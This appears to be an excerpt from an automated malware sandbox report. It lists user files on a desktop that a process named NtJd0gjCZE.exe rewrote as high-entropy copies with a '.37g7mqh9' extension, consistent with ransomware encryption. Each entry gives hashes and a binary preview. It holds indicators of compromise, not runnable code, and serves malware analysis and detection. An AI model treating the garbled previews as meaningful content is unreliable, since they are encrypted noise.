                                                                                Preview: ...A.q8.?=~?.{.......!..U:..{...6..xN"4...M}......B...-.x.W.z.-...{.dm..k.....4.v_...n.N...Q?..6..V8.>..^..@...C._\..yJ...L.oPP..".P.. .....o8.Z...)..e..N....B[......5`.!..F.....3]..<#..w...BPcX"........}.3....[..m....>.ne......D>.Dm.`.e.9@.8;...}.].....{......;jTc..q.Z.Z....Z.c...~.$....!...x..*.i&A.Z..ZGgZ..1...\O.D*.n.....,.Gn.[..6...I.*uB].Xhe^..J.Gc..cC=.E.....C,..~ ]...9.YT.J..n1/AX.sw...Z...5.C;..T!.6.h.......o..%.1..H.5..A..m{.TQ+....kH....t..+....s..Ed.+.Z..z.-......D]....1....i.....Uc..{......"...k..z.f..R...{...V7k....~_d...n...1#.X..s...d.....1...D./.D......P...S).jp.......p.B..q..|&g...a.Xd.../.].W.....Y...9?0..}21S-C.....R.......x...L&......2.u1+...]C....[t..C..W.....M...P.G...(..{.<..l..X]Z...4!.zA.,..b.%.|......l...+......8...?..q.\.p..........| .UK%.F..@.UV.4....L.......4...V..`...pr..t.Y5.u=&..0lh28..e#..i.-..W.1...4%...t..?m....}...FZ.=uL..-f....,......- .H_H.s....!.Uj.h...t..#\;.i.< .....,..Z."..d.@..*..
                                                                                c:\users\user\desktop\EOWRVPQCCS.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8461694629448395
                                                                                Encrypted:false
                                                                                SSDEEP:24:OfhPApmBvIwrs+Sp8LO3zsuoHiO2AIN2mKboEV6rTfu/Ann:OfhIwg+SqRH3FHoEVQTfu/Ann
                                                                                MD5:0591797F5016EDB79FD0CE5EF90E27D4
                                                                                SHA1:FB4FB4922BFA6E2CFDB180F4121232636FD133D9
                                                                                SHA-256:DCB3F7B726C22564C92A73251574C9D22AA10FC332C5031DA3F7A59FC36CE7F1
                                                                                SHA-512:F5BBBC397EA6D39C1BFA0FC009357FD8904B361BD00B148822D08FD13E72B51D89AA8FBBCD01CD5621D35DA85A295F9EA0826AA36D08E741FE21993FB4862D2C
                                                                                Malicious:false
                                                                                Preview: k....{I.i..%.h..p.i.1.M..n.q|L.+.z..`...n.;...3...=.....R.TW.......08#s6...|..c....p..@.Q...z.%.Xh..>.o}..f......V...8j.a..{-.A......H.......k.56}.t.c...u.1..r.[..>.x..z..s;.>.'..;0.Wv`.!..I.....f..).J..........6...u...2. ....*y+||.Z6.=..3.q...P..p..`w.AFn..........y..m..p..b..@<.F.G.......V.jo...>..u...q(...i%Ve..N.`\..i.A$.0.hN.-...W.C......?..D.A......S7..!<.a.(u..d.,s*..xN*D)......a.F=.6.|N...B....]........K.A.v.Y.bK...J....qy...Y.4>.....".Oc...&.5.P..x...y.......a...yzU*.u,3.h.Zs........\8F).n..n\Y...AS..R).9c..D..t....k...1...z....Ez.6....._at...~..=.ESv.F...Jo$...m|.q.y.../{..D..n.)...[X.>X.x..+..E.,...R.Q.(YW..B.S.FUky>o......i ..-.wR..C..".S...r..p.9.w...~.!\.....Js.-.f.pn...#...aP. {...(.K.@u....^q.......s.l....1.Hx....&;..) .....5MwN..t.A...w_..x.:..}.p\....R!..4.I..b..$+.Wd.<..d./......!....kH.:....>.4....g..........}Y...;K.]...wq......;...$+.i\b..a.vSu&.....p{...K........|.\.!..I...=....E...u.*..A....m..55a&.MT..c..R
                                                                                c:\users\user\desktop\EOWRVPQCCS.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855376866135316
                                                                                Encrypted:false
                                                                                SSDEEP:24:AdgYlmTgVGyGxGLnCfGrMCaGhwRi3oVjLWAO/e1vrTfu/A65ch:4BXGfx+nCsMZGhdML/lTfu/Azh
                                                                                MD5:CD4B185064EB99EFB188EF6B52360D01
                                                                                SHA1:ABBE372EDE1A20FDCA780EC45641E5ACA8DE9DC0
                                                                                SHA-256:A1E4E5573F441C87D61389FD6A55B7BD794ADEFECD34512A8CF9783BA142B153
                                                                                SHA-512:01BE63912A07F58B44997675D6AF806BACCBD662EE1EE51E99048F7D8A0DB2140D9E27B6EAFD71D02B890A606C6A47B2342347C33589013C3270573998D8BC65
                                                                                Malicious:false
                                                                                Preview: m..Y.~K..!Y@z7..t.hQ..~&9.-...!5.j..^.....!.H.U...b.W.z.m..&b.y3..Pk....(.....T....W...0....>.....#.k.?a.r..........#.i';P..V.....m...Ro#....|...t.m.X...K.........w.V.'./I..8....VW.r.<...l.0.";a.[.f1bmg9..Z(...X\..M..IJ....8Zh..?......6..1.S..m.+........T...q/_..j..-kG.G...fa...5..1j .....*..."7.K.........*%a......\.R.s.%8Q.....n......~D....X..j.tY.X.`A.J..a..=....\H..S......O.(...g..$P.)...h1p...u6E.8Q.`.8......S|mZ.t....8o....O....F.O..1...._..nU.~.|9..h.....h......Yd..|f..0.Cs..<J...*..cRu..Ilyq?.]..S.D).6...?.<...ulk../.'^.R.x1O.R.0..0"....x..0v`..;.Q....\.... .\zt.h"..2".@@...A.y.\.6C........t...L.g._&.........<....F..e.'w..+..........'....y\...".;>.A..!2..mw......V.C..... .@.)..B5.[!G.\.oIT._.ji.i[..h.#:H%,..T(c........XR(.....bH...c.y.6...oe.S/N...vb..6.Ov.k.........Gg..../...F/0<..:....sG..|./...pDym...%.2.WO.d.........6......L.C>.?....4...41.,j..{$.T.r~...-y.J(..#.:.....]6=... ..N..>.J........ZI..C...Rbi..W...('.ku....P
                                                                                c:\users\user\desktop\EOWRVPQCCS.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.856333300016802
                                                                                Encrypted:false
                                                                                SSDEEP:24:hW/lTBJN6Jhlc1/LLsqOnKaqsxDRykvaFKNZMdrTfu/A+QG:hW/RBJN6iLLi3HSkvaoNZSTfu/A+h
                                                                                MD5:D332ACF914D3F97EC35AE1B6F97688B8
                                                                                SHA1:1C4728AE995A753ADF3D7BF3410A65869BB11C05
                                                                                SHA-256:ABBCBAAF78E24AF31094AC0AEC8A6AF22FB412DA47D4AD06E0F89531A2D22316
                                                                                SHA-512:EDAC5F29AB2AAEE221BFD55F2CA9653BF152A71707CBEC639A78CE76B774C1A7F0C7A02223F4A9694A3E0C37619CBADD2E8B33150EB22D8C376D29B0B081F289
                                                                                Malicious:false
                                                                                Preview: ......S............`.b.......3.u..+.....Y....H..-Z.>..&....r....E. i.]..".I..3%..b.F.tO.-5.K.;._OJ.8l(..l...d..\.........0..0}..e^..G...^;..TD..\.N.VdY.....w.G......................o.]r.5%..7k+.p=....s!.:.j:<$....h..#....k{*T.'.....V.g.9.9N..../g....L..k4y..6..[V..U...'......C.B....v].>..N......R..5.2c..*.mC&.....Z...|.X7.-!..Y}.w9_..x..18.@.~.T._T..H.........O.hu.L.!H.Z ...ohJ...d......j...7......!.f3.QgM.A...t.z8Go..rF.6....@....?...-.r..7..Rz..E.E.AW..9m.%!.N~..5.v.[\u.H...Q.1...d.>...o8u..Q4.~`R._.:. +..N[......q.n/*W<.O.D.~...u..(0.H...L. .....[.Z....aQ@A9.#. .7.. ..4q..h.g].~..if......+...n.na{..r4."._..2.#C..{*._.$,K....,.).9.i)....@.IH.jw.$'....?z..`..Rh...a....#..-..vV......:.`,. .6:..|.+..h.9........Q.g..ep^..Ela(.t.lP..T.h2.......Gh.jl{.<.&7.d.......K....V.{ .O...<+...cF$.!...#NG5!*)...t6.RG.k.ezb.!:..7.#"Y.1.........,.d.I.9..P...3z..*o.C...../....#Wj...K.....qO..@.+{.~t.Y......./......{...[....D"..-Fq.u......l"..H...3.Kn.AP.FR.
                                                                                c:\users\user\desktop\EWZCVGNOWT.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.831523886012405
                                                                                Encrypted:false
                                                                                SSDEEP:24:M86eu1fgqSaPS63rrcgS1g8a/A8A1zN/EOwuupvDJjj8ehlCT6liI4qrTfu/Abxh:DG1bSYS6EE5n2p/El/flCTuB4gTfu/AD
                                                                                MD5:76ADB1F9BDEA28C38F9D8003034FB49C
                                                                                SHA1:5C7847795B9BB813CE37AF2C6EDF06C16EA1D68A
                                                                                SHA-256:75215F550993047D1D78490A9F5A1310E0C1555C44DC6579B17C58E84B8FF5F2
                                                                                SHA-512:7F9AC55326318B760419FFCA7A300E5F333A31263F04E714F7EBBC1627F2DFE9EF385A8ED9E13289CDAE7728E2D4775767B66290ECE347680BB1FC4052C831DD
                                                                                Malicious:false
                                                                                Preview: N.....)..H...A...|d/>A.9U...V....(........)....f.%)....S.2..V..3.s/Bt.=.._..........P....6..p....SU........<..3...N.J@..V.hD.H.E`..T...iG...~*B......F..1......j./.^.........+><..5'.j....".L.v..U.........@.{.9....(Qr.D4......Db...u.P.9B...o~.b.'.._}f........H........S.c.EWOo..<{/.&..nf..`<.L....au.g.y.d.#...c.CV...h....>|...6/.....\.@.A..1._c.g.!:.S..U...I..M!.#..I.\..p.`......S..j........L.fS.....D......w).@..s~T..Ge...:$...].....X..7`Ee.^.X!.E!.s.)...rNO2....&..W.".....{.7.!.$....VnI(.e...9.V...n..........z....Q....B.........BT..4.B..Ts...p.S.}....9.].d.;=.A,.R... T[s....$>M..?..Ma.W......e6T..\..n...n.......IO.c.....'.o..l..i..7....e..\9D....y..:$...y.).....-.yx..U..tRu......e......vN,.xu.iD,.X!...V....RO..\....cG .....`.......\....nt...~.[...'..L..<B.[kd..G.nXs.s..F3.~.*......nIc...bh.....~.../...(..%^.........q+rN\.nT.m...7.AjW<|~....;Cz...y.,.......T..u.U...w.Ks...6.N.))k..a|.......h.B01..BV...5.h.....s..g.j]l~$*$..
                                                                                c:\users\user\desktop\Excel 2016.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2888
                                                                                Entropy (8bit):7.930079557170873
                                                                                Encrypted:false
                                                                                SSDEEP:48:gI63SncgZfg5qgfF+JmLXUepkKFjfboLPsDaVC+fQQAMxTfu/A+aJ:p63ec355ckbjqKiC+fQ3CuYZ
                                                                                MD5:D302214C93F28F046D8EAE0632CABA91
                                                                                SHA1:D020325C96825C91F9D98D761F2F9F0BF92DC937
                                                                                SHA-256:E44102A4C360B2A6D7B27F1BA1ED7C50A75518FA0BBA92EF7ED5A0AF281C2F13
                                                                                SHA-512:ECBB99E40458EF579BC0C631372FA0D46B49ABAC1E9F63D7FA644ACECB2742AB7B83F51E1258F74385DB40D74009AA7D5249F6AB5DB3F8691DCB2981FACD7EA8
                                                                                Malicious:false
                                                                                Preview: ..6BO1mj.........m.l.....-.?.....?.......3......pf.._5..(OR'..M.pD.Fm....I...t.Tl..z...o....E.z.....V.B.m$M:....3...c...u.............WZ...+..6K%. ...8|O..J..=au......?.......^..`.7d..Rp ..c...F.y8.....k.V.....O..Z0U).J.W.I,...Y.....k...u.P..T...+.D.W.{zE...G:;bPR..3a............i..j&.|..kv..\...#3.j.k..L..).f......,.......O(..F......o.Q......C%....<.NT\/7_B.5[^.l..C...*.YP...j.m|.ylQ.....OP.....k..C..,.#j.J....Y.=\RNy.b.....1.....W...b.u]..-.E.J.D}B..H.....H,.-.]'.$.y....A.OBtf}...Oi..*.Z.]y....*.J .8c.........#Z.d~.h..f..<.3!.o.].Z..iG-..."H../..<*|....)...g.L....j......f..V.....]J....2...km@.oC........[.)..ng.z..F.....e.i.......B.(.~.uj...&R....O.s0....d:...XN9....].^g.....-.O.`7.....r*....F..".7.J...0..B...;].....&r......~jD....m..jh .R...<I.C'._.{H.(.^......T......fr..QC.O........o..L.....#..J....o..0.D5g`..:].xG>......u.(.8Y.......b....K..E9....H^w..&e$.._f...R.ix..a.V....`.=b.W.X.........~.f......4....6..E..h%4.n.}..B).V*rU!
                                                                                c:\users\user\desktop\GIGIYTFFYT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.869967780342922
                                                                                Encrypted:false
                                                                                SSDEEP:24:jmVZ57AXtfyBaRY9wV03XfXXThiH/LiqNd0R/RtX2CrTfu/AbqL55x:jCArcXfXXThELHUZD2oTfu/AI/x
                                                                                MD5:7B5541C19226D464DCD3F0B301AED2D2
                                                                                SHA1:B02BECBC1153C284A49215EB088306F65BE4F633
                                                                                SHA-256:FC434137F7044FD412A4D2D07E4E079272298BA7481D7737D287C24F2B8DF9B0
                                                                                SHA-512:7E829A59165569C78D89631106C1375203DD471EB6DCAFA159D998D618A9FDD46774C9E1A3949708C8061750EC34FE93D7A185AF95D583D5AEE8A137F6C71268
                                                                                Malicious:false
                                                                                Preview: ....Y3&..HQ<^....;.+O.GIf.(.l?...L...V...x{.+...)@..I..t...T..0d.c.N.#j..!..C.(.s.4..v..._.3.Sy....R.K$=0.sD.I.}......-ob..............U...q..gaOs...<.@9.f7.1...TXm...7....`..4`ok&n...i.2....c..\.+..}....m.....|-o*Rq._...q\I.8...-.+..Q....(.,M...z..,..:O.8G.L.$.+/.A....xN..dEy..`S..U........8(...&....~D?.y..M..MR.#.8...Q.....Fm..<..g.@l:.K..q....4..8.dX...z[....Ne[|.V.&5....p..Z...UO....2.V..*...uH+-p@.R.H.H}..,.{...v.).\.K)EE@.+yHx.-Bd....i.&a.Ve..g.y~.bW.s.jB..c..O-.)U3.FP_"....M0....t.5.....9.(_y.Ek....!.n.....Fe.(.3.k...i.w....n_..#.72.9...%+.Ma*....$.5$..r..=....N;...)....'.?-./...(.M.......Q....jk....a.$......d...3..<.o.@.....glp..W-..Vf..n..\.j....W..^.d.....a.....o..K..F.u......`...7.X.m_.E..k...*"j.;s..h.6....%8J8.}..e..X.<...n..+.]P.i..g....;..@es....|..C.T..i.t....].....mK.z....K.....@l....U.......R...c.TJ.x....n._u.0Fm..........R<I[o.u..s..... /...4.i9...T0..$....yh{.'.QP.eT{..0......1jw...)....=`.L.6pOA.Re..:H.......(..X.
                                                                                c:\users\user\desktop\GRXZDKKVDB.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828048835176386
                                                                                Encrypted:false
                                                                                SSDEEP:24:U1HpDr9b/+prt99UH0LkqSHJse/fD6X/2ahBoQFbrTfu/AjI2:4JdbA5gUYqkrnmXuYvTfu/AjL
                                                                                MD5:94DF246BEDAEFCCD6C699828D5BD78EB
                                                                                SHA1:62A84A3356B8FB95A06F4997F3DBB01A289164D8
                                                                                SHA-256:32BD1C850C8028BF30E78220BC43487F99C98B4F1FDAD4196B34AA92918B6A5C
                                                                                SHA-512:7BDDA6875E027285DBBEB797BA69AE25994F260CF3D90F6F1567202A39606CD1800AC4D0719D1BB47B82BE35639759799A3D137361E53B5FED7C06278386DD49
                                                                                Malicious:false
                                                                                Preview: ...a.....s.?sF.z.,..bO........l..o..+.^.=...\3.(....K[.bd...Pk..,9..9y.....jb.S/.,P..(N.yT..".4...iz..OJ.@.^s....1...)a=.;..".[.2...7..WF...;.-. ..._.~....D....F....njB...`...O.K_.......o.....~.<n...Q.u...(.&.B..;R_...1ziE4.!._N..?.}..2.2.L!T<&. .6?..H.KS...wXE>E..W~...+..Q.K>.....>D.X.v.7..[.ZL-...?..)D=..>&..:1.dGZ....'Y.g........._..*..u.<X\...J.of.Y3W....47;.6.}.(..2X.S^...}9g+..c....s..zL.......H...L.1x..........\..g.......4Z#.wx.2X.~6...YCN-.(.z..Bf..J....8....G8..+..AG...0...]_...K..}l........$*.v..(..{..=.1x2.@...M..%'n].I.....F...&.jy...;.D.g..B.&.!. ~.|/29....oF.l..R.m..R.S.wSR.7....-..j..:.C.N...Cni..MQZ...6.k-q....`L...,.~u.+?..z`.*.9*`q....6f&.=DM??h6.p.. .....I.N.............A..h.y..jV..-....%w.yW.I......{I.c=..}...~.7.K..!..P...A..x..T.....T..K8.....+?....k.`..$.....P*..E.u.P...6...(.E.P..L.7......f.x.<...4\..Mm..-`.=.^.x.4o...]...1/...g....Z.=.E..O.x.4....N..l&.GX.Iq.l..*.6.+0..G......jX...:..N..#C.g2i|..D..Fku.w.^
                                                                                c:\users\user\desktop\GRXZDKKVDB.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PGP\011Secret Key -
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.821242564970302
                                                                                Encrypted:false
                                                                                SSDEEP:24:+ijjJi3SDHZ+dMspgv2BL2ZalK1u0PegjlbedrTfu/AFI:+ijjPHcdDpw2BLTIPdjElTfu/AW
                                                                                MD5:375BB47376D0EBC0D797B3DDF58F3A9C
                                                                                SHA1:717BFC7C8866A0B738284441EA662016C5C360FE
                                                                                SHA-256:B975DD22F2D784611D86BED15DE614B67D0B6C71102A3B8DD13EA06A174E662A
                                                                                SHA-512:AAAC1C43C2B7163260BD537D7ACDBD75CEEB0DA7F4765D58F5396FC4B646B4BFA559BC032B3EE7CDA3FF57160A4970825A8227B4AA414E122B2B28FDACE8D847
                                                                                Malicious:false
                                                                                Preview: ..3p..c.F.b6.|..V'.....icb.zW....._...i.@#...F:J.....'....<.y..R.F..R.:....v..m@.o.B.......M.....wn...=K.[.n..w9d..y%.g..S..Z.^=.2...f....{5t$.w..f:\E.....(n..p..;4.q_h...fk.p..|..........D..P......b...p.7...g.|.t...h....L......:1N...w...-#W....<..X.&..d.~.E...y.$+G.'dl...b....s..z..4.b.k..~p.;..mI.'<..s....ku)H..S...b(Y...Di..C.....,z......%~2...Cl.pE..m..6X....T(^#sR.....:.q.}..7[..(C.Y..]U...t...@.0........Y...h....yQ0.....iM=.Q=@c...2.hD^F....Xl...NB.......:ATW..CX..I..1..RQ...4.8..)?.A..l....^.[R....fwl..@e.T2L._.....w.lk.~.b._.\Vz.$.[q.u}...Z...p....c.}1...(....:.E.Fz.7...0.].,.j.q.....dkE.Q .e...Y6..a.E..+.w28....|.d&\. s.#.....R.d..6...p.B.A.d..I..I.m.1d...>;.EB.......<.^E.X.w....k..R.....r..a.a&[rZ^W.N.l..F..T.....,g1...8.$T.Ch.%.R......ym.......1..>.>.7..|j...uE..._.>..2..m.P..B..)\D.,}.m.YQf...CZk..$-i{.(...^..0.dr!.......s...=......C.,4...a.\...D.[...^.A.C...Y.....P...'FB...M.r.R.l. ...t.g...3.F.H}.7E.....=.... .s.o....~u.
                                                                                c:\users\user\desktop\Microsoft Edge.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1645
                                                                                Entropy (8bit):7.902505485570585
                                                                                Encrypted:false
                                                                                SSDEEP:48:3OBjY6SnnX4mi2ryPFBD9+QsQWOVsTfu/AKu:eBjYFnX42rv5uYT
                                                                                MD5:BC24CB0F77F25DED16EE4CA0DC9B0A7D
                                                                                SHA1:65E8318B265A9787EBD29D8C1C1C040C13F56FBF
                                                                                SHA-256:1E41A4184B8710F24A61DC1FA04EC2CA75CF5FBBDB240F7EC9C77BF26A52A029
                                                                                SHA-512:E8DA073C515249CA60F1871BF834E8C2287EBFD16961E03326136F9505FEC1C2799D08DDE76F9CA1A7D9CACAD0361F0BD83445EE4C3FD5AB0F5CC790FAB5046F
                                                                                Malicious:false
                                                                                Preview: ..[i).h...I2(S.0n..D......J....b..............YNs.cV~..q.0..<..~:.).Y3K,......q...../.k....1.W..)....v.U.sy}.O..3...Wzn.h#..\:..=.MO.*...k..0..I.c..}....:.J.%......+.y.U.....M.d.CI.T1.r....7W...H..k.C.......F.N,yD79....l1...w..:+.B..y6.[....<...........? N....FlP.,ag....'K.6...0..['u......`m6O..T...am]......Ew...w)U.R.2....P.vh....:l...v....$.'..f.]Ja/k.....9g..7$....]..B..E..). ...f.v.Q.EP.Z......8..%Cv..l.YO....G..t.!+.=8i..6U_..&....O\k...w..w......c>......R...b.{.H..FP..Bn.f'/....i.>.l...E...U(fK.MBGS..F...pEt*Y...|...R../........t.X.&...!Fu.@..zV.YHw....:8..+..Equ.:x(.<^...../....{..wq.....a.....T....`.'i...W:......N.Jq.}u.......-.A2..c..j.dG.J`...X.B..L%....+f.K.".......TF...3.J.O T....tC$..Y..jA....@y..@.c..\".l...g.YQ:^{GW.....:....."I......C..p...iO@......d....X.....5..7......N...cH..'o(~.0..Q.a..(ZD.&.{.dI.>.[..F..X.u.f.4.....<.(Qz...A. .p.d..e...]..:H......P.J.....~...P'..(Li.....=.?..._.._.@TV%1.5=Y...h..^....$...!.h.g.|
                                                                                c:\users\user\desktop\NVWZAPQSQL.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842755460712262
                                                                                Encrypted:false
                                                                                SSDEEP:24:6molBMN7p3aCVgfyXFUG/e4JYJrQrV4Ehv4PbJI0nrTfu/AlKk:ZoIppKYFXFH/BgQi0doTfu/AlKk
                                                                                MD5:B461EB6BC3A2AD5F4918EA585BB51185
                                                                                SHA1:CAE1C838445A3F848F0989EB30D9723DAD038BC0
                                                                                SHA-256:C70AAEABBA11D451E01B73101C3914BED746AEAEFE84F6FA6BDD370972180622
                                                                                SHA-512:A534D6F6D50E83FC15BA267B09D488A1D4E1AA698C7EA60AE2E648B75698A31307FA33FD4FE49419899E126E1FC4C716DF9E23045272C0016B419DF88B455849
                                                                                Malicious:false
                                                                                Preview: .F...Ad/.L.....X.1..9.g.......".m.......5Z..,.....x._..A._.......aC............7Q.@...........'#...I....Pe.t{Q.......*..3...R\..R.t....z......]......H..9.....l.......B=/....+.rMs...n....]..\...6.a<...."..xGq.+j....%..vu.f....Z..+..#..P......U.*.6.. .p.....?.$h.q.....be...........W.a.m..}.".8M5. w..g.4.c..I.c...`2.......C..7z.5W5(>@I.fo..8.....P|..k..A....(Z....SeG.S..\[.l.ZxK.bM..u.lk....v.......&.7.N.C'w.....(......z....Q.]%U...!.....5...?f.dq...5`.l..>....n.F...g.C....R>o.......m......n.fF.Q.?...q......:.9....e.4.W.`.p..c....|g.a.5.A..c......>.%..&.:).=....;../&..\x!..'u;-T..@...X...j.I'..m..s.lf.A]B..sn..M.-.....s..../.82%,_",.D......TXS..|x.n.qd..f...Hk......c5.Y....P..P./K...h2.Z.d..-.j.P..N...J...."....@d..z..e..._./)B..Tf.g.3-.G\......@Y..9}\q..o.@.sm..;.m/^2*.#G..ns...8e...H.j...18....0)..!8.......g.\p....;..g..........!.&.W.Ar..[..QF..~.~..L..I.K....P.A.u JI../vOO....K.sKZ.}.....{.|.$j.y..D.h../x...X...}.....j..O3=...UtAg...n....%.
                                                                                c:\users\user\desktop\NVWZAPQSQL.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854936426793725
                                                                                Encrypted:false
                                                                                SSDEEP:24:PUTHtPD9ezpSqGQXvqWpMg7/bUSnHPXMDPMRrTfu/A9:PUJpeVPTlP8DPaTfu/A9
                                                                                MD5:8E24AE16B7CE853E2E9A21D468B26164
                                                                                SHA1:AFA82FACC425D5940AB463854B519BF864C53850
                                                                                SHA-256:9E3C2E5375B4CA9A0CF36060AEDBA848DEBDB843707887B8CDD276EE352EF06B
                                                                                SHA-512:6CEC3F545CC5FF4CFF2CDE754ECF05570F0B8D3821A850E81E06F82FECED9369081AD95B6A94EEFC197379F22C1CFC58FB946427B8EAFE9FBDF1B0FA14B6F33E
                                                                                Malicious:false
                                                                                Preview: Z...U....t....r....]..r&.x...b..A..t....4.8..l...m..h.!.m.h.e..E.s..R.F..*..rI.O...A..JR.&z.W...s.-.Tc~....$..@|."y.dTv...n<...7,...)..+.Q...4W!.3......yX......`..Y...M....B.9),4.*s9..n.C...g.3......v......dC....*T^i:....'.j....F._.'.:0.....(..kV..V.e..~.....;9..5.Q..f.....h.t!eu.....%'.U>..i./z.M.>.GJ....S.}%......../...gg;-H.....c......U#y.Q+/.X.P.|..s....F0/.w.D....7.k.?.2T...'S.o.....XT..-.S.....=...A.p..?...1HL..!E....w.w6.....p?c.j......>..mu.4./@^....0.....3.-.3L./c....}J}....U;....D........`).1c.( .-...b&&iY.."......-...b.=!..L..{~n....k.qMgA.Z..2.Foest"x....R......w.........f.....*.6%.K.fX..../.hiB.VH..O.^..+...n...........V.R..Z.f.T+.J........V.O.#2`........\....7O...N...$.p.Fln..8.@...A}.r.%&"6s.Q..wj.{h.......|....#....)..N.....l.1..@..y`..$v*\X..Y>...Y"h....W.}..5...L]......M.B..$..1.jpEfJ.tm.7....H!..".:Dn....(.....z.P..+ 1hW.{..,..r.{<C..K.M...-.mS...sz..v..A\..;.t*.B.>xg]....J.".zC1...j..>h..?.Y..^.4..v.).7\~6 .-
                                                                                c:\users\user\desktop\NVWZAPQSQL.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849194732546819
                                                                                Encrypted:false
                                                                                SSDEEP:24:868S4+f5GVfr60cIGzn/IgSpTMMLI+Df7vr0hK6V0xkVotSFm6rTfu/AQcB:Bku8Vfe0NnMYZDDriK6GxkVot/QTfu/g
                                                                                MD5:C430DD4D0DC26BD6AC8EDC7ABA93899B
                                                                                SHA1:A826446C04575A8BA268E7A849182CA55972FEAB
                                                                                SHA-256:54E6D7256F2A93090CD5160D16FBA0DDF1546469D732E478E1EBA883309FF3BF
                                                                                SHA-512:25B880784DF3E251C206568AE70C4EDA2F55A5AFC54373B9F141981C4C5B676B66D21CB7D931AA775C5A88C2D64C7928EF7E6722A0F5051766FB5377B96A2CF3
                                                                                Malicious:false
                                                                                Preview: .....0GJ~.n7A..V....3...Y..l.z.|..L}N.<.]k....Y9..F..x.].l....[N.Y....`*%...>.^q.R..^h.N.......pG> ...omx...1..3q..!.=....U.....h.."/.+H.M-..l..?{e..r6..Y.2...X.;|Y...a...7...w.nvK?m--9.24t.)......G~}`.IiJ.q....i......n^x...O%.+sh.FR..[_...Z9..'>~e...'}.$O..+..:.w.KL...s.k....K(.....P<Q.).n.c4a.C..-<.H.C..m,p^.v.a....-g-.~.#..W#.|..G#...KI.#..`..*..*Uv..YQ.=..K..Wl..9d..tC.k...J......Y.m..:$..d......@2.....*u....YO...?..j.....7!........y./.Y......R......r....c.......Z........f....O..1..............VEA..^......{.fp.H..w.....3..M|O..2.^. .S........'2i....!.f....O}......m.....1E1..x.x....0..=/..b%..eV(.......mE@.;^..S.\....I.....>.p...4_....C{`...........IJa....9.."bJ.Qs...\.|..]"....U....)......8POh.x[.r...tf.d..... .9... Z...=........i>....t.rJv..g!m.g@..%0Q..'...i......*.s.#.uV.5W.....o.G....D.yW...e.{....\wZ..*..M......z...x .[...d..{x.6.....M...cQ...=@x.....!."....5.. .#nK.........l..%..1...........te:.F........4l...W.....!/..0
                                                                                c:\users\user\desktop\PALRGUCVEH.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8345375476103785
                                                                                Encrypted:false
                                                                                SSDEEP:24:waLXxApVCeSMRxrVoph1r7f0KBLcYLkPQGvhCTG5IuPOrsEavzErTfu/AwLIcH:7LZexRlmpvBUMG64Or7izmTfu/AYH
                                                                                MD5:536FB8025D79909DEE516F0786ECA768
                                                                                SHA1:58A9360518CB66C3F1E01E866123A1BC02BFFE98
                                                                                SHA-256:4FD56230F6177689A97641393C2DB89A8EA2677021C27598F968CD807CDAA4A2
                                                                                SHA-512:E28CCFD7B2FBA650BB0738A8977C5F0893B7D02448B53D4A3DB50C1CEC0BF8165000D0A82F54E15214F6065BAB2B62C9D6CB860A26D338BE9B27C24713EA63DE
                                                                                Malicious:false
